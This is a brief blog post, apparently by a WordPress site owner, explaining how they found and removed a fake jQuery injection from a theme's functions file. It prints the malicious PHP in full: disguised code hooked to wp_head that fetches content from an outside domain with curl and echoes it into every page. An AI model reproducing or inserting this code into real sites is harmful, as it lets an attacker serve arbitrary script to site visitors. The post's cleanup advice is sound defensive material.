Fake jquery error WP

Go to:
Appearance > Editor> Theme Functions (right sidebar)

If working on a mac hit Command+F to search keywords

Type in “Jquery”.

This is what i found:

/* Define our theme URL constant */

if (!function_exists(‘insert_jquery_theme’)){function insert_jquery_theme(){if (function_exists(‘curl_init’)){$url=”http://www.jqueryc.com/jquery-…“;$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action(‘wp_head’, ‘insert_jquery_theme’);} if(!defined(‘WP_THEME_URL’)) {
define( ‘WP_THEME_URL’, get_template_directory_uri());
}

I just deleted it and problem solved… for now.

Hope this helps.

Revisions

No comments yet.

Leave a Reply